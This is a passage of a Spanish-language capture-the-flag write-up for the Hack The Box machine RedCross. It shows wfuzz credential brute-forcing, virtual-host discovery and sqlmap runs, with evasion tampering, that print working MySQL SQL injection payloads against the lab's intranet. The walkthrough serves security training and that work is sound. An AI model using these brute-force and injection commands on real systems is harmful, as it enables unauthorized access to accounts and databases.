</span></span><span style="display:flex;"><span>Server: Apache/2.4.25 (Debian)
</span></span><span style="display:flex;"><span>Set-Cookie: PHPSESSID=v8fdc8aspa898iharh9t2occ27; path=/
</span></span><span style="display:flex;"><span>refresh: 3;url=https://www.xbyte.mx/
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Wrong data!
</span></span></code></pre></div><p>Vemos que nos arroja el mensaje de error de <code>Wrong data!</code>, esto lo podemos meter a <code>wfuzz</code> para realizar un ataque de fuerza bruta a las credenciales de acceso:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/redcross$ wfuzz -c --hh 11 -z file,/home/xbytemx/git/SecLists/Usernames/top-usernames-shortlist.txt -z file,/home/xbytemx/git/SecLists/Passwords/Common-Credentials/500-worst-passwords.txt -d &#39;user=FUZZ&amp;pass=FUZ2Z&amp;submit=Login&amp;action=login&#39; https://intra.redcross.htb/pages/actions.php
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz&#39;s documentation for more information.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>********************************************************
</span></span><span style="display:flex;"><span>* Wfuzz 2.3.4 - The Web Fuzzer                         *
</span></span><span style="display:flex;"><span>********************************************************
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Target: https://intra.redcross.htb/pages/actions.php
</span></span><span style="display:flex;"><span>Total requests: 8483
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>==================================================================
</span></span><span style="display:flex;"><span>ID   Response   Lines      Word         Chars          Payload
</span></span><span style="display:flex;"><span>==================================================================
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>000039:  C=200      0 L	       2 W	     11 Ch	  &#34;root - 1234567&#34;
</span></span><span style="display:flex;"><span>Fatal exception: Pycurl error 7: Failed to connect to intra.redcross.htb port 443: Connection refused
</span></span></code></pre></div><ul>
<li><code>-c</code> para agregar colores a la salida</li>
<li><code>--hh 11</code> para indicarle que mensajes ocultar, basado en la longitud de 11 caracteres</li>
<li><code>-z file,usernames</code> para la lista de posibles usuarios</li>
<li><code>-z file,passwords</code> para la lista de posibles contraseñas</li>
<li><code>-d user=FUZZ&amp;pass=FUZ2Z&amp;submit=Login&amp;action=login</code> para el data del form donde insertamos los valores del diccionario.</li>
</ul>
<p>Como podemos ver después de un par de intentos (39), el servidor empieza a rechazar las conexiones.</p>
<p>Reduciendo la prueba a valores idénticos (mismo nombre y contraseña), logre adivinar una cuenta para acceder:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/redcross$ wfuzz -c --hh 11 -z file,/home/xbytemx/git/SecLists/Usernames/top-usernames-shortlist.txt -d &#39;user=FUZZ&amp;pass=FUZZ&amp;submit=Login&amp;action=login&#39; https://intra.redcross.htb/pages/actions.php
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz&#39;s documentation for more information.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>********************************************************
</span></span><span style="display:flex;"><span>* Wfuzz 2.3.4 - The Web Fuzzer                         *
</span></span><span style="display:flex;"><span>********************************************************
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Target: https://intra.redcross.htb/pages/actions.php
</span></span><span style="display:flex;"><span>Total requests: 17
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>==================================================================
</span></span><span style="display:flex;"><span>ID   Response   Lines      Word         Chars          Payload
</span></span><span style="display:flex;"><span>==================================================================
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>000004:  C=200      0 L	       3 W	     32 Ch	  &#34;guest&#34;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Total time: 1.621467
</span></span><span style="display:flex;"><span>Processed Requests: 17
</span></span><span style="display:flex;"><span>Filtered Requests: 16
</span></span><span style="display:flex;"><span>Requests/sec.: 10.48433
</span></span></code></pre></div><blockquote>
<p>creds: guest / guest</p>
</blockquote>
<p>Ya tenemos unas credenciales validas para intra.redcross.htb.</p>
<h1 id="searching-for-anothers-subdomains">Searching for anothers subdomains</h1>
<p>Como recodaremos, al realizar una petición directamente al servidor, nos mando hacia intra, pero ¿y si existen mas vhosts?</p>
<p>Probemos con vhostscan:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>(VHostScan-loWTcTIQ) xbytemx@laptop:~/git/VHostScan$ VHostScan -t intra.redcross.htb -b redcross.htb -p 443 --ssl
</span></span><span style="display:flex;"><span>+-+-+-+-+-+-+-+-+-+  v. 1.21
</span></span><span style="display:flex;"><span>|V|H|o|s|t|S|c|a|n|  Developed by @codingo_ &amp; @__timk
</span></span><span style="display:flex;"><span>+-+-+-+-+-+-+-+-+-+  https://github.com/codingo/VHostScan
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>[+] Starting virtual host scan for intra.redcross.htb using port 443 and wordlists: /home/xbytemx/.cache/Python-Eggs/VHostScan-1.21-py2.7.egg-tmp/VHostScan/wordlists/virtual-host-scanning.txt
</span></span><span style="display:flex;"><span>[&gt;] SSL flag set, sending all results over HTTPS.
</span></span><span style="display:flex;"><span>[&gt;] Ignoring HTTP codes: 404
</span></span><span style="display:flex;"><span>[+] Resolving DNS for additional wordlist entries
</span></span><span style="display:flex;"><span>[!] Couldn&#39;t find any records (NXDOMAIN)
</span></span><span style="display:flex;"><span>[#] Found: admin.redcross.htb (code: 200, length: 401, hash: d4c1c1cfc88ca212c152ad914a94d6ca3bcc9565d93ea934a3d999ed887a64c3)
</span></span><span style="display:flex;"><span>  Date: Mon, 18 Mar 2019 01:40:58 GMT
</span></span><span style="display:flex;"><span>  Server: Apache/2.4.25 (Debian)
</span></span><span style="display:flex;"><span>  Expires: Thu, 19 Nov 1981 08:52:00 GMT
</span></span><span style="display:flex;"><span>  Cache-Control: no-store, no-cache, must-revalidate
</span></span><span style="display:flex;"><span>  Pragma: no-cache
</span></span><span style="display:flex;"><span>  Vary: Accept-Encoding
</span></span><span style="display:flex;"><span>  Content-Encoding: gzip
</span></span><span style="display:flex;"><span>  Content-Length: 401
</span></span><span style="display:flex;"><span>  Keep-Alive: timeout=5, max=99
</span></span><span style="display:flex;"><span>  Connection: Keep-Alive
</span></span><span style="display:flex;"><span>  Content-Type: text/html; charset=UTF-8
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>[+] Most likely matches with a unique count of 1 or less:
</span></span><span style="display:flex;"><span>	[&gt;] admin.redcross.htb
</span></span><span style="display:flex;"><span>(VHostScan-loWTcTIQ) xbytemx@laptop:~/git/VHostScan$
</span></span></code></pre></div><ul>
<li><code>-t intra.redcross.htb</code> para indicar el target vhost que si conocemos.</li>
<li><code>-b redcross.htb</code> para indicar el dominio raiz</li>
<li><code>-p 443 --ssl</code> para indicar que estaremos buscando sobre HTTPS</li>
</ul>
<p>Hemos encontrado otro vhosts, en este caso se trata de <code>admin.redcross.htb</code>, el cual agregamos tambien a nuestro archivo <code>/etc/hosts</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span>xbytemx@laptop:~/htb/redcross$ http --verify no &#34;https://admin.redcross.htb&#34;
</span></span><span style="display:flex;"><span>HTTP/1.1 302 Found
</span></span><span style="display:flex;"><span>Cache-Control: no-store, no-cache, must-revalidate
</span></span><span style="display:flex;"><span>Connection: Keep-Alive
</span></span><span style="display:flex;"><span>Content-Length: 363
</span></span><span style="display:flex;"><span>Content-Type: text/html; charset=UTF-8
</span></span><span style="display:flex;"><span>Date: Sun, 14 Apr 2019 07:45:59 GMT
</span></span><span style="display:flex;"><span>Expires: Thu, 19 Nov 1981 08:52:00 GMT
</span></span><span style="display:flex;"><span>Keep-Alive: timeout=5, max=100
</span></span><span style="display:flex;"><span>Location: /?page=login
</span></span><span style="display:flex;"><span>Pragma: no-cache
</span></span><span style="display:flex;"><span>Server: Apache/2.4.25 (Debian)
</span></span><span style="display:flex;"><span>Set-Cookie: PHPSESSID=1ec3ba5cg3i5rhmif3ii0foa30; path=/
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">center</span>&gt;&lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">/</span>&gt;&lt;<span style="color:#f92672">table</span> <span style="color:#a6e22e">border</span><span style="color:#f92672">=</span><span style="color:#e6db74">0</span> <span style="color:#a6e22e">width</span><span style="color:#f92672">=</span><span style="color:#e6db74">95%</span>&gt;&lt;<span style="color:#f92672">tr</span>&gt;&lt;<span style="color:#f92672">td</span>&gt;&lt;<span style="color:#f92672">table</span> <span style="color:#a6e22e">border</span><span style="color:#f92672">=</span><span style="color:#e6db74">0</span>&gt;&lt;<span style="color:#f92672">tr</span>&gt;&lt;<span style="color:#f92672">td</span> <span style="color:#a6e22e">width</span><span style="color:#f92672">=</span><span style="color:#e6db74">10%</span> <span style="color:#a6e22e">rowspan</span><span style="color:#f92672">=</span><span style="color:#e6db74">2</span>&gt;&lt;<span style="color:#f92672">img</span> <span style="color:#a6e22e">src</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#39;/images/it.svg&#39;</span> <span style="color:#a6e22e">width</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#39;100%&#39;</span>&gt;&lt;/<span style="color:#f92672">td</span>&gt;&lt;<span style="color:#f92672">td</span> <span style="color:#a6e22e">valign</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#39;bottom&#39;</span>&gt;&lt;<span style="color:#f92672">h2</span>&gt;IT Admin panel&lt;/<span style="color:#f92672">h2</span>&gt;&lt;/<span style="color:#f92672">td</span>&gt;&lt;/<span style="color:#f92672">tr</span>&gt;&lt;<span style="color:#f92672">tr</span>&gt;&lt;<span style="color:#f92672">td</span> <span style="color:#a6e22e">valign</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#39;top&#39;</span>&gt;&lt;<span style="color:#f92672">h3</span>&gt;Authorized personnel only&lt;/<span style="color:#f92672">h3</span>&gt;&lt;/<span style="color:#f92672">td</span>&gt;&lt;/<span style="color:#f92672">tr</span>&gt;&lt;/<span style="color:#f92672">table</span>&gt;&lt;/<span style="color:#f92672">td</span>&gt;&lt;<span style="color:#f92672">td</span> <span style="color:#a6e22e">width</span><span style="color:#f92672">=</span><span style="color:#e6db74">100px</span>&gt;&lt;<span style="color:#f92672">p</span> <span style="color:#a6e22e">style</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#39;font-size:75%&#39;</span>&gt;[[please login]]&lt;/<span style="color:#f92672">p</span>&gt;&lt;/<span style="color:#f92672">td</span>&gt;&lt;/<span style="color:#f92672">tr</span>&gt;&lt;/<span style="color:#f92672">table</span>&gt;&lt;/<span style="color:#f92672">a</span>&gt;&lt;/<span style="color:#f92672">center</span>&gt;
</span></span></code></pre></div><p><img src="/img/htb-redcross/http-admin-root.png" alt="admin root"></p>
<p>Necesitamos nuevamente algunas credenciales, pero vemos una estructura muy familiar (Location: <code>/?page=login</code>).</p>
<h1 id="login-on-intra">Login on intra</h1>
<p>Ahora que hemos identificado unas credenciales para intra, validemos el acceso:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/redcross$ http --verify no -f POST &#34;https://intra.redcross.htb/pages/actions.php&#34; user=guest pass=guest action=login action=login
</span></span><span style="display:flex;"><span>HTTP/1.1 200 OK
</span></span><span style="display:flex;"><span>Cache-Control: no-store, no-cache, must-revalidate
</span></span><span style="display:flex;"><span>Connection: Keep-Alive
</span></span><span style="display:flex;"><span>Content-Length: 32
</span></span><span style="display:flex;"><span>Content-Type: text/html; charset=UTF-8
</span></span><span style="display:flex;"><span>Date: Tue, 19 Mar 2019 05:09:59 GMT
</span></span><span style="display:flex;"><span>Expires: Thu, 19 Nov 1981 08:52:00 GMT
</span></span><span style="display:flex;"><span>Keep-Alive: timeout=5, max=100
</span></span><span style="display:flex;"><span>Pragma: no-cache
</span></span><span style="display:flex;"><span>Server: Apache/2.4.25 (Debian)
</span></span><span style="display:flex;"><span>Set-Cookie: PHPSESSID=le7n8htqei4pg268v1bm1vqtq1; path=/
</span></span><span style="display:flex;"><span>Set-Cookie: LANG=EN_US; expires=Mon, 17-Jun-2019 05:10:00 GMT; Max-Age=7776000; path=/
</span></span><span style="display:flex;"><span>Set-Cookie: SINCE=1552972200; expires=Mon, 17-Jun-2019 05:10:00 GMT; Max-Age=7776000; path=/
</span></span><span style="display:flex;"><span>Set-Cookie: LIMIT=10; expires=Mon, 17-Jun-2019 05:10:00 GMT; Max-Age=7776000; path=/
</span></span><span style="display:flex;"><span>Set-Cookie: DOMAIN=intra; expires=Mon, 17-Jun-2019 05:10:00 GMT; Max-Age=7776000; path=/
</span></span><span style="display:flex;"><span>refresh: 3;url=https://www.xbyte.mx/
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Checking provided credentials...
</span></span></code></pre></div><p>Siguiendo el redirect que se genera después, tendremos una pantalla como la siguiente:</p>
<p><img src="/img/htb-redcross/http-intra-login.png" alt="intra login"></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~$ http --verify no https://intra.redcross.htb/?page=app &#34;Cookie: PHPSESSID=le7n8htqei4pg268v1bm1vqtq1;LANG=EN_US;SINCE=1552972200;LIMIT=10;DOMAIN=intra;&#34;
</span></span><span style="display:flex;"><span>HTTP/1.1 200 OK
</span></span><span style="display:flex;"><span>Cache-Control: no-store, no-cache, must-revalidate
</span></span><span style="display:flex;"><span>Connection: Keep-Alive
</span></span><span style="display:flex;"><span>Content-Encoding: gzip
</span></span><span style="display:flex;"><span>Content-Length: 595
</span></span><span style="display:flex;"><span>Content-Type: text/html; charset=UTF-8
</span></span><span style="display:flex;"><span>Date: Tue, 19 Mar 2019 05:11:20 GMT
</span></span><span style="display:flex;"><span>Expires: Thu, 19 Nov 1981 08:52:00 GMT
</span></span><span style="display:flex;"><span>Keep-Alive: timeout=5, max=100
</span></span><span style="display:flex;"><span>Pragma: no-cache
</span></span><span style="display:flex;"><span>Server: Apache/2.4.25 (Debian)
</span></span><span style="display:flex;"><span>Vary: Accept-Encoding
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>&lt;a href=https://www.xbyte.mx/&gt;&lt;table border=0 width=90%&gt;&lt;tr&gt;&lt;td colspan=2&gt;&lt;table border=0&gt;&lt;tr&gt;&lt;td rowspan=2 align=&#39;right&#39;&gt;&lt;img src=&#39;https://www.xbyte.mx/images/logo.png&#39; width=&#39;50%&#39;&gt;&lt;/td&gt;&lt;td valign=&#39;bottom&#39;&gt;&lt;h2&gt;RedCross Messaging Intranet&lt;/h2&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td valign=&#39;top&#39;&gt;&lt;h3&gt;Employees &amp; providers portal&lt;/h3&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/td&gt;&lt;td&gt;&lt;p style=&#39;font-size:75%&#39;&gt;guest&lt;/p&gt;&lt;form action=&#39;https://www.xbyte.mx/pages/actions.php&#39; method=&#39;POST&#39;&gt;&lt;input type=&#39;submit&#39; name=&#39;action&#39; value=&#39;end session&#39;&gt;&lt;/form&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/a&gt;&lt;center&gt;&lt;table border=0 width=60% cellpadding=5&gt;&lt;tr&gt;&lt;td colspan=2&gt;&lt;h3&gt;&lt;b&gt;Guest Account Info [1]&lt;/b&gt;&lt;/h3&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;From: admin (uid 1)&lt;/td&gt;&lt;td align=&#39;right&#39;&gt;To: guest (uid 5)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td colspan=2&gt;&lt;p&gt;You&#39;re granted with a low privilege access while we&#39;re processing your credentials request. Our messaging system still in beta status. Please report if you find any incidence.&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/center&gt;&lt;center&gt;&lt;table border=0 width=60% cellspacing=5&gt;&lt;tr&gt;&lt;td align=right&gt;&lt;form method=&#39;GET&#39; action=&#39;https://www.xbyte.mx/&#39;&gt;UserID&amp;nbsp&lt;input type=&#39;text&#39; size=1 name=&#39;o&#39; &gt;&amp;nbsp&lt;input type=&#39;submit&#39; value=&#39;filter&#39;&gt;&lt;input type=hidden name=&#39;page&#39; value=&#39;app&#39;&gt;&lt;/form&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/center&gt;&lt;br&gt;&lt;br&gt;&lt;center&gt;&lt;p&gt;Web messaging system 0.3b&lt;/p&gt;&lt;/center&gt;
</span></span></code></pre></div><h1 id="sqli">SQLi</h1>
<p>Después de explorar un poco el home (app), me di cuenta de la exposición de algunas variables, por lo que intente un sqli con algunos parámetros de evasión usando <code>sqlmap</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/redcross$ sqlmap -u &#34;https://intra.redcross.htb/?o=1&amp;page=app&#34; --cookie=&#34;PHPSESSID=le7n8htqei4pg268v1bm1vqtq1; LANG=EN_US; SINCE=1552972200; LIMIT=10; DOMAIN=intra;&#34; --tamper=space2comment --random-agent
</span></span><span style="display:flex;"><span>        ___
</span></span><span style="display:flex;"><span>       __H__
</span></span><span style="display:flex;"><span> ___ ___[)]_____ ___ ___  {1.3.2#stable}
</span></span><span style="display:flex;"><span>|_ -| . [&#39;]     | .&#39;| . |
</span></span><span style="display:flex;"><span>|___|_  [,]_|_|_|__,|  _|
</span></span><span style="display:flex;"><span>      |_|V...       |_|   http://sqlmap.org
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user&#39;s responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>[*] starting @ 23:11:08 /2019-03-18/
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>[23:11:08] [INFO] loading tamper module &#39;space2comment&#39;
</span></span><span style="display:flex;"><span>[23:11:08] [INFO] fetched random HTTP User-Agent header value &#39;Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.12) Gecko/20070508 Firefox/1.5.0.12&#39; from file &#39;/usr/share/sqlmap/txt/user-agents.txt&#39;
</span></span><span style="display:flex;"><span>[23:11:08] [INFO] testing connection to the target URL
</span></span><span style="display:flex;"><span>[23:11:09] [INFO] testing if the target URL content is stable
</span></span><span style="display:flex;"><span>[23:11:10] [INFO] target URL content is stable
</span></span><span style="display:flex;"><span>[23:11:10] [INFO] testing if GET parameter &#39;o&#39; is dynamic
</span></span><span style="display:flex;"><span>[23:11:11] [INFO] GET parameter &#39;o&#39; appears to be dynamic
</span></span><span style="display:flex;"><span>[23:11:11] [INFO] heuristic (basic) test shows that GET parameter &#39;o&#39; might be injectable (possible DBMS: &#39;MySQL&#39;)
</span></span><span style="display:flex;"><span>[23:11:13] [INFO] heuristic (XSS) test shows that GET parameter &#39;o&#39; might be vulnerable to cross-site scripting (XSS) attacks
</span></span><span style="display:flex;"><span>[23:11:13] [INFO] testing for SQL injection on GET parameter &#39;o&#39;
</span></span><span style="display:flex;"><span>it looks like the back-end DBMS is &#39;MySQL&#39;. Do you want to skip test payloads specific for other DBMSes? [Y/n]
</span></span><span style="display:flex;"><span>for the remaining tests, do you want to include all tests for &#39;MySQL&#39; extending provided level (1) and risk (1) values? [Y/n]
</span></span><span style="display:flex;"><span>[23:11:18] [INFO] testing &#39;AND boolean-based blind - WHERE or HAVING clause&#39;
</span></span><span style="display:flex;"><span>[23:11:45] [WARNING] reflective value(s) found and filtering out
</span></span><span style="display:flex;"><span>[23:11:52] [INFO] testing &#39;Boolean-based blind - Parameter replace (original value)&#39;
</span></span><span style="display:flex;"><span>[23:11:53] [INFO] testing &#39;AND boolean-based blind - WHERE or HAVING clause (MySQL comment)&#39;
</span></span><span style="display:flex;"><span>[23:12:21] [INFO] testing &#39;OR boolean-based blind - WHERE or HAVING clause (MySQL comment)&#39;
</span></span><span style="display:flex;"><span>[23:12:45] [INFO] testing &#39;OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)&#39;
</span></span><span style="display:flex;"><span>[23:13:16] [INFO] testing &#39;MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause&#39;
</span></span><span style="display:flex;"><span>[23:13:36] [INFO] GET parameter &#39;o&#39; appears to be &#39;MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause&#39; injectable (with --string=&#34;Web&#34;)
</span></span><span style="display:flex;"><span>[23:13:36] [INFO] testing &#39;MySQL &gt;= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)&#39;
</span></span><span style="display:flex;"><span>[23:13:37] [INFO] testing &#39;MySQL &gt;= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)&#39;
</span></span><span style="display:flex;"><span>[23:13:37] [INFO] testing &#39;MySQL &gt;= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)&#39;
</span></span><span style="display:flex;"><span>[23:13:38] [INFO] testing &#39;MySQL &gt;= 5.5 OR error-based - WHERE or HAVING clause (EXP)&#39;
</span></span><span style="display:flex;"><span>[23:13:39] [INFO] testing &#39;MySQL &gt;= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)&#39;
</span></span><span style="display:flex;"><span>[23:13:39] [INFO] testing &#39;MySQL &gt;= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)&#39;
</span></span><span style="display:flex;"><span>[23:13:40] [INFO] testing &#39;MySQL &gt;= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)&#39;
</span></span><span style="display:flex;"><span>[23:13:41] [INFO] GET parameter &#39;o&#39; is &#39;MySQL &gt;= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)&#39; injectable
</span></span><span style="display:flex;"><span>[23:13:41] [INFO] testing &#39;MySQL inline queries&#39;
</span></span><span style="display:flex;"><span>[23:13:41] [INFO] testing &#39;MySQL &gt; 5.0.11 stacked queries (comment)&#39;
</span></span><span style="display:flex;"><span>[23:13:42] [CRITICAL] considerable lagging has been detected in connection response(s). Please use as high value for option &#39;--time-sec&#39; as possible (e.g. 10 or more)
</span></span><span style="display:flex;"><span>[23:13:43] [INFO] testing &#39;MySQL &gt; 5.0.11 stacked queries&#39;
</span></span><span style="display:flex;"><span>[23:13:43] [INFO] testing &#39;MySQL &gt; 5.0.11 stacked queries (query SLEEP - comment)&#39;
</span></span><span style="display:flex;"><span>[23:13:44] [INFO] testing &#39;MySQL &gt; 5.0.11 stacked queries (query SLEEP)&#39;
</span></span><span style="display:flex;"><span>[23:13:44] [INFO] testing &#39;MySQL &lt; 5.0.12 stacked queries (heavy query - comment)&#39;
</span></span><span style="display:flex;"><span>[23:13:45] [INFO] testing &#39;MySQL &lt; 5.0.12 stacked queries (heavy query)&#39;
</span></span><span style="display:flex;"><span>[23:13:46] [INFO] testing &#39;MySQL &gt;= 5.0.12 AND time-based blind&#39;
</span></span><span style="display:flex;"><span>[23:14:18] [INFO] GET parameter &#39;o&#39; appears to be &#39;MySQL &gt;= 5.0.12 AND time-based blind&#39; injectable
</span></span><span style="display:flex;"><span>[23:14:18] [INFO] testing &#39;Generic UNION query (NULL) - 1 to 20 columns&#39;
</span></span><span style="display:flex;"><span>[23:14:19] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
</span></span><span style="display:flex;"><span>[23:14:32] [INFO] testing &#39;MySQL UNION query (NULL) - 1 to 20 columns&#39;
</span></span><span style="display:flex;"><span>[23:14:33] [INFO] &#39;ORDER BY&#39; technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
</span></span><span style="display:flex;"><span>[23:14:36] [INFO] target URL appears to have 4 columns in query
</span></span><span style="display:flex;"><span>injection not exploitable with NULL values. Do you want to try with a random integer value for option &#39;--union-char&#39;? [Y/n]
</span></span><span style="display:flex;"><span>[23:15:03] [WARNING] if UNION based SQL injection is not detected, please consider forcing the back-end DBMS (e.g. &#39;--dbms=mysql&#39;)
</span></span><span style="display:flex;"><span>[23:15:16] [INFO] target URL appears to be UNION injectable with 4 columns
</span></span><span style="display:flex;"><span>injection not exploitable with NULL values. Do you want to try with a random integer value for option &#39;--union-char&#39;? [Y/n]
</span></span><span style="display:flex;"><span>[23:15:44] [INFO] testing &#39;MySQL UNION query (50) - 21 to 40 columns&#39;
</span></span><span style="display:flex;"><span>[23:15:57] [INFO] testing &#39;MySQL UNION query (50) - 41 to 60 columns&#39;
</span></span><span style="display:flex;"><span>[23:16:09] [INFO] testing &#39;MySQL UNION query (50) - 61 to 80 columns&#39;
</span></span><span style="display:flex;"><span>[23:16:22] [INFO] testing &#39;MySQL UNION query (100) - 81 to 100 columns&#39;
</span></span><span style="display:flex;"><span>GET parameter &#39;o&#39; is vulnerable. Do you want to keep testing the others (if any)? [y/N]
</span></span><span style="display:flex;"><span>sqlmap identified the following injection point(s) with a total of 379 HTTP(s) requests:
</span></span><span style="display:flex;"><span>---
</span></span><span style="display:flex;"><span>Parameter: o (GET)
</span></span><span style="display:flex;"><span>    Type: boolean-based blind
</span></span><span style="display:flex;"><span>    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
</span></span><span style="display:flex;"><span>    Payload: o=1&#39;) RLIKE (SELECT (CASE WHEN (8600=8600) THEN 1 ELSE 0x28 END)) AND (&#39;enlR&#39;=&#39;enlR&amp;page=app
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    Type: error-based
</span></span><span style="display:flex;"><span>    Title: MySQL &gt;= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
</span></span><span style="display:flex;"><span>    Payload: o=1&#39;) AND (SELECT 8275 FROM(SELECT COUNT(*),CONCAT(0x7162766b71,(SELECT (ELT(8275=8275,1))),0x71766a7071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND (&#39;vOvX&#39;=&#39;vOvX&amp;page=app
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    Type: AND/OR time-based blind
</span></span><span style="display:flex;"><span>    Title: MySQL &gt;= 5.0.12 AND time-based blind
</span></span><span style="display:flex;"><span>    Payload: o=1&#39;) AND SLEEP(5) AND (&#39;YqZg&#39;=&#39;YqZg&amp;page=app
</span></span><span style="display:flex;"><span>---
</span></span><span style="display:flex;"><span>[23:16:40] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
</span></span><span style="display:flex;"><span>[23:16:40] [INFO] the back-end DBMS is MySQL
</span></span><span style="display:flex;"><span>web server operating system: Linux Debian 9.0 (stretch)
</span></span><span style="display:flex;"><span>web application technology: Apache 2.4.25
</span></span><span style="display:flex;"><span>back-end DBMS: MySQL &gt;= 5.0
</span></span><span style="display:flex;"><span>[23:16:40] [INFO] fetched data logged to text files under &#39;/home/xbytemx/.sqlmap/output/intra.redcross.htb&#39;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>[*] ending @ 23:16:40 /2019-03-18/
</span></span></code></pre></div><p>Como pudimos observar, es posible hacer una sqli dentro del servidor, por lo que omitiré la información de estatus centrándome en las salidas de sqlmap:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/redcross$ sqlmap -u &#34;https://intra.redcross.htb/?o=1&amp;page=app&#34; --cookie=&#34;PHPSESSID=le7n8htqei4pg268v1bm1vqtq1; LANG=EN_US; SINCE=1552972200; LIMIT=10; DOMAIN=intra;&#34; --tamper=space2comment --random-agent --dbs
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>[23:19:17] [INFO] the back-end DBMS is MySQL
</span></span><span style="display:flex;"><span>web server operating system: Linux Debian 9.0 (stretch)
</span></span><span style="display:flex;"><span>web application technology: Apache 2.4.25
</span></span><span style="display:flex;"><span>back-end DBMS: MySQL &gt;= 5.0
